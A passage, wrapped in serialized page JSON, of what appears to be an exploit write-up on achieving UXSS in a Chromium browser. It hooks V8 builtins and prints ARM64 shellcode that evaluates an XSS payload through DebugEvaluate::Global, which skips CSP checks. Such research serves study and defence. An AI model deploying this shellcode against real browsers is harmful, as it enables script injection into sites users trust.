lr\n",{"type":25,"tag":271,"props":152984,"children":152985},{"class":13593,"line":36651},[152986],{"type":25,"tag":271,"props":152987,"children":152988},{"emptyLinePlaceholder":18},[152989],{"type":30,"value":16829},{"type":25,"tag":271,"props":152991,"children":152992},{"class":13593,"line":36659},[152993],{"type":25,"tag":271,"props":152994,"children":152995},{},[152996],{"type":30,"value":152997},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":25,"tag":271,"props":152999,"children":153000},{"class":13593,"line":36668},[153001],{"type":25,"tag":271,"props":153002,"children":153003},{},[153004],{"type":30,"value":153005},"ldp x15, lr, [sp], #16\n",{"type":25,"tag":271,"props":153007,"children":153008},{"class":13593,"line":36710},[153009],{"type":25,"tag":271,"props":153010,"children":153011},{"emptyLinePlaceholder":18},[153012],{"type":30,"value":16829},{"type":25,"tag":271,"props":153014,"children":153015},{"class":13593,"line":36743},[153016],{"type":25,"tag":271,"props":153017,"children":153018},{},[153019],{"type":30,"value":153020},"ret x4\n",{"type":25,"tag":26,"props":153022,"children":153023},{},[153024,153026,153031,153033,153038,153040,153046],{"type":30,"value":153025},"At this point, we have successfully hooked ",{"type":25,"tag":264,"props":153027,"children":153029},{"className":153028},[],[153030],{"type":30,"value":151908},{"type":30,"value":153032}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":25,"tag":264,"props":153034,"children":153036},{"className":153035},[],[153037],{"type":30,"value":152424},{"type":30,"value":153039}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":25,"tag":264,"props":153041,"children":153043},{"className":153042},[],[153044],{"type":30,"value":153045},"Builtins_GlobalEval",{"type":30,"value":1860},{"type":25,"tag":26,"props":153048,"children":153049},{},[153050,153055,153057,153062,153064,153069],{"type":25,"tag":264,"props":153051,"children":153053},{"className":153052},[],[153054],{"type":30,"value":153045},{"type":30,"value":153056}," takes a single ",{"type":25,"tag":264,"props":153058,"children":153060},{"className":153059},[],[153061],{"type":30,"value":61042},{"type":30,"value":153063}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":25,"tag":264,"props":153065,"children":153067},{"className":153066},[],[153068],{"type":30,"value":8917},{"type":30,"value":359},{"type":25,"tag":7764,"props":153071,"children":153073},{"code":153072,"language":42224,"meta":7,"className":42222,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[153074],{"type":25,"tag":264,"props":153075,"children":153076},{"__ignoreMap":7},[153077,153090,153097,153104,153147,153169,153195],{"type":25,"tag":271,"props":153078,"children":153079},{"class":13593,"line":13594},[153080,153085],{"type":25,"tag":271,"props":153081,"children":153082},{"style":13620},[153083],{"type":30,"value":153084},"BUILTIN",{"type":25,"tag":271,"props":153086,"children":153087},{"style":13625},[153088],{"type":30,"value":153089},"(GlobalEval) {\n",{"type":25,"tag":271,"props":153091,"children":153092},{"class":13593,"line":11641},[153093],{"type":25,"tag":271,"props":153094,"children":153095},{"style":13625},[153096],{"type":30,"value":139593},{"type":25,"tag":271,"props":153098,"children":153099},{"class":13593,"line":14354},[153100],{"type":25,"tag":271,"props":153101,"children":153102},{"emptyLinePlaceholder":18},[153103],{"type":30,"value":16829},{"type":25,"tag":271,"props":153105,"children":153106},{"class":13593,"line":14391},[153107,153112,153117,153121,153126,153130,153134,153138,153143],{"type":25,"tag":271,"props":153108,"children":153109},{"style":13625},[153110],{"type":30,"value":153111},"  if (!Builtins::",{"type":25,"tag":271,"props":153113,"children":153114},{"style":13609},[153115],{"type":30,"value":153116},"AllowDynamicFunction",{"type":25,"tag":271,"props":153118,"children":153119},{"style":13625},[153120],{"type":30,"value":394},{"type":25,"tag":271,"props":153122,"children":153123},{"style":13609},[153124],{"type":30,"value":153125},"isolate",{"type":25,"tag":271,"props":153127,"children":153128},{"style":13625},[153129],{"type":30,"value":44},{"type":25,"tag":271,"props":153131,"children":153132},{"style":13609},[153133],{"type":30,"value":7373},{"type":25,"tag":271,"props":153135,"children":153136},{"style":13625},[153137],{"type":30,"value":44},{"type":25,"tag":271,"props":153139,"children":153140},{"style":13609},[153141],{"type":30,"value":153142},"target_global_proxy",{"type":25,"tag":271,"props":153144,"children":153145},{"style":13625},[153146],{"type":30,"value":48305},{"type":25,"tag":271,"props":153148,"children":153149},{"class":13593,"line":14400},[153150,153155,153159,153164],{"type":25,"tag":271,"props":153151,"children":153152},{"style":13598},[153153],{"type":30,"value":153154},"    isolate",{"type":25,"tag":271,"props":153156,"children":153157},{"style":13625},[153158],{"type":30,"value":14411},{"type":25,"tag":271,"props":153160,"children":153161},{"style":13620},[153162],{"type":30,"value":153163},"CountUsage",{"type":25,"tag":271,"props":153165,"children":153166},{"style":13625},[153167],{"type":30,"value":153168},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":25,"tag":271,"props":153170,"children":153171},{"class":13593,"line":16406},[153172,153176,153181,153186,153191],{"type":25,"tag":271,"props":153173,"children":153174},{"style":16171},[153175],{"type":30,"value":30111},{"type":25,"tag":271,"props":153177,"children":153178},{"style":13620},[153179],{"type":30,"value":153180}," ReadOnlyRoots",{"type":25,"tag":271,"props":153182,"children":153183},{"style":13625},[153184],{"type":30,"value":153185},"(isolate).",{"type":25,"tag":271,"props":153187,"children":153188},{"style":13620},[153189],{"type":30,"value":153190},"undefined_value",{"type":25,"tag":271,"props":153192,"children":153193},{"style":13625},[153194],{"type":30,"value":16820},{"type":25,"tag":271,"props":153196,"children":153197},{"class":13593,"line":16434},[153198],{"type":25,"tag":271,"props":153199,"children":153200},{"style":13625},[153201],{"type":30,"value":19003},{"type":25,"tag":26,"props":153203,"children":153204},{},[153205,153207,153212],{"type":30,"value":153206},"This means we would need to patch the function further to ensure it never enters this ",{"type":25,"tag":264,"props":153208,"children":153210},{"className":153209},[],[153211],{"type":30,"value":28701},{"type":30,"value":153213}," block.",{"type":25,"tag":26,"props":153215,"children":153216},{},[153217],{"type":30,"value":153218},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":25,"tag":7764,"props":153220,"children":153222},{"code":153221,"language":42224,"meta":7,"className":42222,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[153223],{"type":25,"tag":264,"props":153224,"children":153225},{"__ignoreMap":7},[153226,153237,153244,153251,153258,153266,153278,153286,153303,153333,153341,153353],{"type":25,"tag":271,"props":153227,"children":153228},{"class":13593,"line":13594},[153229,153233],{"type":25,"tag":271,"props":153230,"children":153231},{"style":13620},[153232],{"type":30,"value":153084},{"type":25,"tag":271,"props":153234,"children":153235},{"style":13625},[153236],{"type":30,"value":153089},{"type":25,"tag":271,"props":153238,"children":153239},{"class":13593,"line":11641},[153240],{"type":25,"tag":271,"props":153241,"children":153242},{"emptyLinePlaceholder":18},[153243],{"type":30,"value":16829},{"type":25,"tag":271,"props":153245,"children":153246},{"class":13593,"line":14354},[153247],{"type":25,"tag":271,"props":153248,"children":153249},{"style":13625},[153250],{"type":30,"value":139593},{"type":25,"tag":271,"props":153252,"children":153253},{"class":13593,"line":14391},[153254],{"type":25,"tag":271,"props":153255,"children":153256},{"emptyLinePlaceholder":18},[153257],{"type":30,"value":16829},{"type":25,"tag":271,"props":153259,"children":153260},{"class":13593,"line":14400},[153261],{"type":25,"tag":271,"props":153262,"children":153263},{"style":13625},[153264],{"type":30,"value":153265},"  DirectHandle\u003CJSFunction> function;\n",{"type":25,"tag":271,"props":153267,"children":153268},{"class":13593,"line":16406},[153269,153274],{"type":25,"tag":271,"props":153270,"children":153271},{"style":13620},[153272],{"type":30,"value":153273},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":25,"tag":271,"props":153275,"children":153276},{"style":13625},[153277],{"type":30,"value":16609},{"type":25,"tag":271,"props":153279,"children":153280},{"class":13593,"line":16434},[153281],{"type":25,"tag":271,"props":153282,"children":153283},{"style":13625},[153284],{"type":30,"value":153285},"      isolate, function,\n",{"type":25,"tag":271,"props":153287,"children":153288},{"class":13593,"line":16447},[153289,153294,153299],{"type":25,"tag":271,"props":153290,"children":153291},{"style":13625},[153292],{"type":30,"value":153293},"      Compiler::",{"type":25,"tag":271,"props":153295,"children":153296},{"style":13620},[153297],{"type":30,"value":153298},"GetFunctionFromValidatedString",{"type":25,"tag":271,"props":153300,"children":153301},{"style":13625},[153302],{"type":30,"value":16609},{"type":25,"tag":271,"props":153304,"children":153305},{"class":13593,"line":16465},[153306,153311,153315,153319,153323,153328],{"type":25,"tag":271,"props":153307,"children":153308},{"style":13620},[153309],{"type":30,"value":153310},"          direct_handle",{"type":25,"tag":271,"props":153312,"children":153313},{"style":13625},[153314],{"type":30,"value":394},{"type":25,"tag":271,"props":153316,"children":153317},{"style":13598},[153318],{"type":30,"value":7373},{"type":25,"tag":271,"props":153320,"children":153321},{"style":13625},[153322],{"type":30,"value":14411},{"type":25,"tag":271,"props":153324,"children":153325},{"style":13620},[153326],{"type":30,"value":153327},"native_context",{"type":25,"tag":271,"props":153329,"children":153330},{"style":13625},[153331],{"type":30,"value":153332},"(), isolate), source,\n",{"type":25,"tag":271,"props":153334,"children":153335},{"class":13593,"line":16486},[153336],{"type":25,"tag":271,"props":153337,"children":153338},{"style":13625},[153339],{"type":30,"value":153340},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":25,"tag":271,"props":153342,"children":153343},{"class":13593,"line":16495},[153344,153349],{"type":25,"tag":271,"props":153345,"children":153346},{"style":13620},[153347],{"type":30,"value":153348},"  RETURN_RESULT_OR_FAILURE",{"type":25,"tag":271,"props":153350,"children":153351},{"style":13625},[153352],{"type":30,"value":16609},{"type":25,"tag":271,"props":153354,"children":153355},{"class":13593,"line":16744},[153356,153361,153366],{"type":25,"tag":271,"props":153357,"children":153358},{"style":13625},[153359],{"type":30,"value":153360},"      isolate, Execution::",{"type":25,"tag":271,"props":153362,"children":153363},{"style":13620},[153364],{"type":30,"value":153365},"Call",{"type":25,"tag":271,"props":153367,"children":153368},{"style":13625},[153369],{"type":30,"value":153370},"(isolate, function, target_global_proxy, {}));\n",{"type":25,"tag":26,"props":153372,"children":153373},{},[153374,153376,153381,153383,153389,153391,153397,153399,153405],{"type":30,"value":153375},"But determining the correct ",{"type":25,"tag":264,"props":153377,"children":153379},{"className":153378},[],[153380],{"type":30,"value":7373},{"type":30,"value":153382}," value, obtaining ",{"type":25,"tag":264,"props":153384,"children":153386},{"className":153385},[],[153387],{"type":30,"value":153388},"target->native_context()",{"type":30,"value":153390},", and locating the ",{"type":25,"tag":264,"props":153392,"children":153394},{"className":153393},[],[153395],{"type":30,"value":153396},"direct_handle",{"type":30,"value":153398}," function, just to make a proper call to ",{"type":25,"tag":264,"props":153400,"children":153402},{"className":153401},[],[153403],{"type":30,"value":153404},"Compiler::GetFunctionFromValidatedString",{"type":30,"value":153406},", seemed unnecessarily cumbersome.",{"type":25,"tag":26,"props":153408,"children":153409},{},[153410,153412,153418],{"type":30,"value":153411},"Instead, we found a much simpler option with no security checks: ",{"type":25,"tag":264,"props":153413,"children":153415},{"className":153414},[],[153416],{"type":30,"value":153417},"DebugEvaluate::Global",{"type":30,"value":153419},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":25,"tag":26,"props":153421,"children":153422},{},[153423],{"type":30,"value":153424},"For our needs, it is straightforward to call:",{"type":25,"tag":7764,"props":153426,"children":153428},{"code":153427,"language":42224,"meta":7,"className":42222,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[153429],{"type":25,"tag":264,"props":153430,"children":153431},{"__ignoreMap":7},[153432,153480,153509,153530],{"type":25,"tag":271,"props":153433,"children":153434},{"class":13593,"line":13594},[153435,153440,153444,153448,153453,153458,153462,153467,153471,153476],{"type":25,"tag":271,"props":153436,"children":153437},{"style":13609},[153438],{"type":30,"value":153439},"MaybeDirectHandle",{"type":25,"tag":271,"props":153441,"children":153442},{"style":13625},[153443],{"type":30,"value":14307},{"type":25,"tag":271,"props":153445,"children":153446},{"style":13609},[153447],{"type":30,"value":61967},{"type":25,"tag":271,"props":153449,"children":153450},{"style":13625},[153451],{"type":30,"value":153452},"> DebugEvaluate::",{"type":25,"tag":271,"props":153454,"children":153455},{"style":13620},[153456],{"type":30,"value":153457},"Global",{"type":25,"tag":271,"props":153459,"children":153460},{"style":13625},[153461],{"type":30,"value":394},{"type":25,"tag":271,"props":153463,"children":153464},{"style":13609},[153465],{"type":30,"value":153466},"Isolate",{"type":25,"tag":271,"props":153468,"children":153469},{"style":14289},[153470],{"type":30,"value":17702},{"type":25,"tag":271,"props":153472,"children":153473},{"style":13598},[153474],{"type":30,"value":153475}," isolate",{"type":25,"tag":271,"props":153477,"children":153478},{"style":13625},[153479],{"type":30,"value":14351},{"type":25,"tag":271,"props":153481,"children":153482},{"class":13593,"line":11641},[153483,153488,153492,153496,153500,153505],{"type":25,"tag":271,"props":153484,"children":153485},{"style":13609},[153486],{"type":30,"value":153487},"                                                Handle",{"type":25,"tag":271,"props":153489,"children":153490},{"style":13625},[153491],{"type":30,"value":14307},{"type":25,"tag":271,"props":153493,"children":153494},{"style":13609},[153495],{"type":30,"value":61042},{"type":25,"tag":271,"props":153497,"children":153498},{"style":13625},[153499],{"type":30,"value":18952},{"type":25,"tag":271,"props":153501,"children":153502},{"style":13598},[153503],{"type":30,"value":153504},"source",{"type":25,"tag":271,"props":153506,"children":153507},{"style":13625},[153508],{"type":30,"value":14351},{"type":25,"tag":271,"props":153510,"children":153511},{"class":13593,"line":14354},[153512,153517,153522,153526],{"type":25,"tag":271,"props":153513,"children":153514},{"style":13625},[153515],{"type":30,"value":153516},"                                                debug::",{"type":25,"tag":271,"props":153518,"children":153519},{"style":13609},[153520],{"type":30,"value":153521},"EvaluateGlobalMode",{"type":25,"tag":271,"props":153523,"children":153524},{"style":13598},[153525],{"type":30,"value":119367},{"type":25,"tag":271,"props":153527,"children":153528},{"style":13625},[153529],{"type":30,"value":14351},{"type":25,"tag":271,"props":153531,"children":153532},{"class":13593,"line":14391},[153533,153538,153543],{"type":25,"tag":271,"props":153534,"children":153535},{"style":13609},[153536],{"type":30,"value":153537},"                                                REPLMode",{"type":25,"tag":271,"props":153539,"children":153540},{"style":13598},[153541],{"type":30,"value":153542}," repl_mode",{"type":25,"tag":271,"props":153544,"children":153545},{"style":13625},[153546],{"type":30,"value":13665},{"type":25,"tag":26,"props":153548,"children":153549},{},[153550,153552,153557,153559,153564,153566,153571,153573,153579,153580,153586],{"type":30,"value":153551},"We must supply the ",{"type":25,"tag":264,"props":153553,"children":153555},{"className":153554},[],[153556],{"type":30,"value":153125},{"type":30,"value":153558}," pointer, a ",{"type":25,"tag":264,"props":153560,"children":153562},{"className":153561},[],[153563],{"type":30,"value":61042},{"type":30,"value":153565}," object containing our XSS payload as ",{"type":25,"tag":264,"props":153567,"children":153569},{"className":153568},[],[153570],{"type":30,"value":153504},{"type":30,"value":153572},", and the ",{"type":25,"tag":264,"props":153574,"children":153576},{"className":153575},[],[153577],{"type":30,"value":153578},"mode",{"type":30,"value":12218},{"type":25,"tag":264,"props":153581,"children":153583},{"className":153582},[],[153584],{"type":30,"value":153585},"repl_mode",{"type":30,"value":153587}," values, which are simple enum literals.",{"type":25,"tag":26,"props":153589,"children":153590},{},[153591,153593,153598,153600,153606,153608,153613,153615,153620,153622,153628,153630,153636,153638,153643,153645,153650,153652,153657,153659,153664],{"type":30,"value":153592},"To obtain the ",{"type":25,"tag":264,"props":153594,"children":153596},{"className":153595},[],[153597],{"type":30,"value":153125},{"type":30,"value":153599}," pointer within our shellcode, we call ",{"type":25,"tag":264,"props":153601,"children":153603},{"className":153602},[],[153604],{"type":30,"value":153605},"Isolate::TryGetCurrent()",{"type":30,"value":153607},", which returns the current ",{"type":25,"tag":264,"props":153609,"children":153611},{"className":153610},[],[153612],{"type":30,"value":153125},{"type":30,"value":153614},". To construct a valid ",{"type":25,"tag":264,"props":153616,"children":153618},{"className":153617},[],[153619],{"type":30,"value":61042},{"type":30,"value":153621}," object holding our payload, we call ",{"type":25,"tag":264,"props":153623,"children":153625},{"className":153624},[],[153626],{"type":30,"value":153627},"v8::String::NewFromUTF8",{"type":30,"value":153629},". This ",{"type":25,"tag":264,"props":153631,"children":153633},{"className":153632},[],[153634],{"type":30,"value":153635},"NewFromUTF8",{"type":30,"value":153637}," function takes four arguments: the ",{"type":25,"tag":264,"props":153639,"children":153641},{"className":153640},[],[153642],{"type":30,"value":153125},{"type":30,"value":153644},", the string bytes as ",{"type":25,"tag":264,"props":153646,"children":153648},{"className":153647},[],[153649],{"type":30,"value":10346},{"type":30,"value":153651},", an enum literal specifying the string type, and ",{"type":25,"tag":264,"props":153653,"children":153655},{"className":153654},[],[153656],{"type":30,"value":21624},{"type":30,"value":153658},", which is the size of the ",{"type":25,"tag":264,"props":153660,"children":153662},{"className":153661},[],[153663],{"type":30,"value":10346},{"type":30,"value":30286},{"type":25,"tag":26,"props":153666,"children":153667},{},[153668],{"type":30,"value":153669},"The resulting shellcode that executes our XSS payload looks like this:",{"type":25,"tag":7764,"props":153671,"children":153673},{"code":153672,"language":151961,"meta":7,"className":151962,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[153674],{"type":25,"tag":264,"props":153675,"children":153676},{"__ignoreMap":7},[153677,153685,153693,153701,153709,153717,153725,153733,153741,153749,153757,153765,153773,153780,153788,153796,153804,153812,153819,153827,153834,153842,153850,153857,153864,153871,153878,153885,153892,153900,153908,153915,153923,153931,153938,153946,153954,153961,153968,153976,153984,153992,153999,154007,154015,154023,154031,154039,154047,154055,154063,154071,154079,154087,154094,154102,154110,154117,154125,154133,154141,154149,154156,154164,154171,154178,154186,154194,154202,154210,154219,154228,154236],{"type":25,"tag":271,"props":153678,"children":153679},{"class":13593,"line":13594},[153680],{"type":25,"tag":271,"props":153681,"children":153682},{},[153683],{"type":30,"value":153684},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":25,"tag":271,"props":153686,"children":153687},{"class":13593,"line":11641},[153688],{"type":25,"tag":271,"props":153689,"children":153690},{},[153691],{"type":30,"value":153692},"movz x1, #0xf7a0\n",{"type":25,"tag":271,"props":153694,"children":153695},{"class":13593,"line":14354},[153696],{"type":25,"tag":271,"props":153697,"children":153698},{},[153699],{"type":30,"value":153700},"movk x1, #0x0071, lsl #16\n",{"type":25,"tag":271,"props":153702,"children":153703},{"class":13593,"line":14391},[153704],{"type":25,"tag":271,"props":153705,"children":153706},{},[153707],{"type":30,"value":153708},"add x9, x12, x1\n",{"type":25,"tag":271,"props":153710,"children":153711},{"class":13593,"line":14400},[153712],{"type":25,"tag":271,"props":153713,"children":153714},{},[153715],{"type":30,"value":153716},"movz x1, #0x5ac8\n",{"type":25,"tag":271,"props":153718,"children":153719},{"class":13593,"line":16406},[153720],{"type":25,"tag":271,"props":153721,"children":153722},{},[153723],{"type":30,"value":153724},"movk x1, #0x054f, lsl #16\n",{"type":25,"tag":271,"props":153726,"children":153727},{"class":13593,"line":16434},[153728],{"type":25,"tag":271,"props":153729,"children":153730},{},[153731],{"type":30,"value":153732},"add x0, x12, x1\n",{"type":25,"tag":271,"props":153734,"children":153735},{"class":13593,"line":16447},[153736],{"type":25,"tag":271,"props":153737,"children":153738},{},[153739],{"type":30,"value":153740},"blr x9\n",{"type":25,"tag":271,"props":153742,"children":153743},{"class":13593,"line":16465},[153744],{"type":25,"tag":271,"props":153745,"children":153746},{},[153747],{"type":30,"value":153748},"// *x0 is isolate pointer\n",{"type":25,"tag":271,"props":153750,"children":153751},{"class":13593,"line":16486},[153752],{"type":25,"tag":271,"props":153753,"children":153754},{},[153755],{"type":30,"value":153756},"// store isolate ptr to stack\n",{"type":25,"tag":271,"props":153758,"children":153759},{"class":13593,"line":16495},[153760],{"type":25,"tag":271,"props":153761,"children":153762},{},[153763],{"type":30,"value":153764},"ldr x13, [x0]\n",{"type":25,"tag":271,"props":153766,"children":153767},{"class":13593,"line":16744},[153768],{"type":25,"tag":271,"props":153769,"children":153770},{},[153771],{"type":30,"value":153772},"str x13, [sp, #-16]!\n",{"type":25,"tag":271,"props":153774,"children":153775},{"class":13593,"line":16761},[153776],{"type":25,"tag":271,"props":153777,"children":153778},{"emptyLinePlaceholder":18},[153779],{"type":30,"value":16829},{"type":25,"tag":271,"props":153781,"children":153782},{"class":13593,"line":16778},[153783],{"type":25,"tag":271,"props":153784,"children":153785},{},[153786],{"type":30,"value":153787},"// store x10 = v8::String::NewFromUTF8\n",{"type":25,"tag":271,"props":153789,"children":153790},{"class":13593,"line":16791},[153791],{"type":25,"tag":271,"props":153792,"children":153793},{},[153794],{"type":30,"value":153795},"movz x1, #0x1140\n",{"type":25,"tag":271,"props":153797,"children":153798},{"class":13593,"line":16800},[153799],{"type":25,"tag":271,"props":153800,"children":153801},{},[153802],{"type":30,"value":153803},"movk x1, #0x0242, lsl #16\n",{"type":25,"tag":271,"props":153805,"children":153806},{"class":13593,"line":16823},[153807],{"type":25,"tag":271,"props":153808,"children":153809},{},[153810],{"type":30,"value":153811},"sub x10, x12, x1\n",{"type":25,"tag":271,"props":153813,"children":153814},{"class":13593,"line":16832},[153815],{"type":25,"tag":271,"props":153816,"children":153817},{"emptyLinePlaceholder":18},[153818],{"type":30,"value":16829},{"type":25,"tag":271,"props":153820,"children":153821},{"class":13593,"line":16841},[153822],{"type":25,"tag":271,"props":153823,"children":153824},{},[153825],{"type":30,"value":153826},"// mmap a RW page for our xss payload\n",{"type":25,"tag":271,"props":153828,"children":153829},{"class":13593,"line":16907},[153830],{"type":25,"tag":271,"props":153831,"children":153832},{},[153833],{"type":30,"value":152177},{"type":25,"tag":271,"props":153835,"children":153836},{"class":13593,"line":16915},[153837],{"type":25,"tag":271,"props":153838,"children":153839},{},[153840],{"type":30,"value":153841},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":25,"tag":271,"props":153843,"children":153844},{"class":13593,"line":16945},[153845],{"type":25,"tag":271,"props":153846,"children":153847},{},[153848],{"type":30,"value":153849},"mov x2, #3\n",{"type":25,"tag":271,"props":153851,"children":153852},{"class":13593,"line":16953},[153853],{"type":25,"tag":271,"props":153854,"children":153855},{},[153856],{"type":30,"value":152200},{"type":25,"tag":271,"props":153858,"children":153859},{"class":13593,"line":16984},[153860],{"type":25,"tag":271,"props":153861,"children":153862},{},[153863],{"type":30,"value":152208},{"type":25,"tag":271,"props":153865,"children":153866},{"class":13593,"line":16992},[153867],{"type":25,"tag":271,"props":153868,"children":153869},{},[153870],{"type":30,"value":152216},{"type":25,"tag":271,"props":153872,"children":153873},{"class":13593,"line":17052},[153874],{"type":25,"tag":271,"props":153875,"children":153876},{},[153877],{"type":30,"value":152224},{"type":25,"tag":271,"props":153879,"children":153880},{"class":13593,"line":22168},[153881],{"type":25,"tag":271,"props":153882,"children":153883},{},[153884],{"type":30,"value":152139},{"type":25,"tag":271,"props":153886,"children":153887},{"class":13593,"line":22186},[153888],{"type":25,"tag":271,"props":153889,"children":153890},{"emptyLinePlaceholder":18},[153891],{"type":30,"value":16829},{"type":25,"tag":271,"props":153893,"children":153894},{"class":13593,"line":22231},[153895],{"type":25,"tag":271,"props":153896,"children":153897},{},[153898],{"type":30,"value":153899},"// write our xss payload to mmapped rw page\n",{"type":25,"tag":271,"props":153901,"children":153902},{"class":13593,"line":22337},[153903],{"type":25,"tag":271,"props":153904,"children":153905},{},[153906],{"type":30,"value":153907},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":25,"tag":271,"props":153909,"children":153910},{"class":13593,"line":36608},[153911],{"type":25,"tag":271,"props":153912,"children":153913},{"emptyLinePlaceholder":18},[153914],{"type":30,"value":16829},{"type":25,"tag":271,"props":153916,"children":153917},{"class":13593,"line":36643},[153918],{"type":25,"tag":271,"props":153919,"children":153920},{},[153921],{"type":30,"value":153922},"// store x11 = XSS_PAYLOAD string\n",{"type":25,"tag":271,"props":153924,"children":153925},{"class":13593,"line":36651},[153926],{"type":25,"tag":271,"props":153927,"children":153928},{},[153929],{"type":30,"value":153930},"mov x11, x0\n",{"type":25,"tag":271,"props":153932,"children":153933},{"class":13593,"line":36659},[153934],{"type":25,"tag":271,"props":153935,"children":153936},{"emptyLinePlaceholder":18},[153937],{"type":30,"value":16829},{"type":25,"tag":271,"props":153939,"children":153940},{"class":13593,"line":36668},[153941],{"type":25,"tag":271,"props":153942,"children":153943},{},[153944],{"type":30,"value":153945},"// pop back isolate pointer\n",{"type":25,"tag":271,"props":153947,"children":153948},{"class":13593,"line":36710},[153949],{"type":25,"tag":271,"props":153950,"children":153951},{},[153952],{"type":30,"value":153953},"ldr x13, [sp], #16\n",{"type":25,"tag":271,"props":153955,"children":153956},{"class":13593,"line":36743},[153957],{"type":25,"tag":271,"props":153958,"children":153959},{"emptyLinePlaceholder":18},[153960],{"type":30,"value":16829},{"type":25,"tag":271,"props":153962,"children":153963},{"class":13593,"line":36751},[153964],{"type":25,"tag":271,"props":153965,"children":153966},{},[153967],{"type":30,"value":152260},{"type":25,"tag":271,"props":153969,"children":153970},{"class":13593,"line":36759},[153971],{"type":25,"tag":271,"props":153972,"children":153973},{},[153974],{"type":30,"value":153975},"// x13 = isolate *\n",{"type":25,"tag":271,"props":153977,"children":153978},{"class":13593,"line":36768},[153979],{"type":25,"tag":271,"props":153980,"children":153981},{},[153982],{"type":30,"value":153983},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":25,"tag":271,"props":153985,"children":153986},{"class":13593,"line":36844},[153987],{"type":25,"tag":271,"props":153988,"children":153989},{},[153990],{"type":30,"value":153991},"// x10 = v8::String::NewFromUtf8\n",{"type":25,"tag":271,"props":153993,"children":153994},{"class":13593,"line":36877},[153995],{"type":25,"tag":271,"props":153996,"children":153997},{"emptyLinePlaceholder":18},[153998],{"type":30,"value":16829},{"type":25,"tag":271,"props":154000,"children":154001},{"class":13593,"line":36885},[154002],{"type":25,"tag":271,"props":154003,"children":154004},{},[154005],{"type":30,"value":154006},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":25,"tag":271,"props":154008,"children":154009},{"class":13593,"line":36893},[154010],{"type":25,"tag":271,"props":154011,"children":154012},{},[154013],{"type":30,"value":154014},"// arg0 = isolate *\n",{"type":25,"tag":271,"props":154016,"children":154017},{"class":13593,"line":36930},[154018],{"type":25,"tag":271,"props":154019,"children":154020},{},[154021],{"type":30,"value":154022},"mov x0, x13\n",{"type":25,"tag":271,"props":154024,"children":154025},{"class":13593,"line":36943},[154026],{"type":25,"tag":271,"props":154027,"children":154028},{},[154029],{"type":30,"value":154030},"// arg1 = char *c_str\n",{"type":25,"tag":271,"props":154032,"children":154033},{"class":13593,"line":36956},[154034],{"type":25,"tag":271,"props":154035,"children":154036},{},[154037],{"type":30,"value":154038},"mov x1, x11\n",{"type":25,"tag":271,"props":154040,"children":154041},{"class":13593,"line":36969},[154042],{"type":25,"tag":271,"props":154043,"children":154044},{},[154045],{"type":30,"value":154046},"// arg2 = type = kNormal\n",{"type":25,"tag":271,"props":154048,"children":154049},{"class":13593,"line":37023},[154050],{"type":25,"tag":271,"props":154051,"children":154052},{},[154053],{"type":30,"value":154054},"mov x2, 